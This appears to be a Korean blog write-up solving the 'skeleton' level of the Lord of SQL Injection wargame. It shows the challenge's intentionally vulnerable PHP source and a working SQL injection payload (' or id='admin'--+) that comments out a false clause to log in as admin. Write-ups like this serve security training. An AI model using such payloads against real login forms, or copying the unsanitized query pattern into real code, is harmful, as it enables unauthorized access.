반응형
나무위키가 확실히 흥미로운 이야기가 많이 적혀있는 것 같다. 그래도 신뢰성이 떨어지는 느낌..
los의 스켈레톤을 처치해보자.
기본 쿼리문 및 소스코드는 아래와 같다.
소스코드를 살펴보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
쿼리문을 보면 마지막에 and 1=0 이라는 거짓이 되는 부분을 넣어 모든 조건이 무효화되도록 하고 있다. 이 구문자체를 주석처리해서 없앨 필요가 있다. 문제 해결을 위해 admin만을 조회해야 하므로, guest 부분은 무효화되도록 하고, admin은 참이 되게 한 다음, 뒷부분은 주석처리로 싹 날려버리면 될 것이다.
그러므로 아래와 같이 스켈레톤을 처치할 수 있다.
pw: 'or id='admin'--+
url: ?pw=%27or%20id=%27admin%27--+
query : select id from prob_skeleton where id='guest' and pw='' and 1=0
반응형
'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글
[Los] darkknight 풀이 (0) | 2022.06.12 |
---|---|
[Los] golem 풀이 (0) | 2022.06.12 |
[Los] vampire 풀이 (0) | 2022.06.12 |
[Los] troll 풀이 (0) | 2022.06.12 |
[Los] orge 풀이 (0) | 2022.06.12 |